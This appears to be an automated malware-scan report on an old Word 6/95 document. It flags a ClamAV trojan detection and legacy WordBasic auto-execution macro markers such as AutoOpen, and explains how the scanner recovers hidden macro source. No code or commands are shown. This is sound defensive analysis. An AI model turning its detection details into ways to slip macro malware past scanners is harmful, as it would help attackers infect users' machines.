MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers, indicating a malicious intent to execute code. The document body contains obfuscated strings and references to 'Payload' and 'AutoOpen', suggesting the macro attempts to perform malicious actions when the document is opened. The presence of 'RSN MACRO VIRUS' and 'Goat file' further supports its classification as a macro-based threat.

Heuristics 3

  • ClamAV: Win.Trojan.Imposter-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Imposter-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.
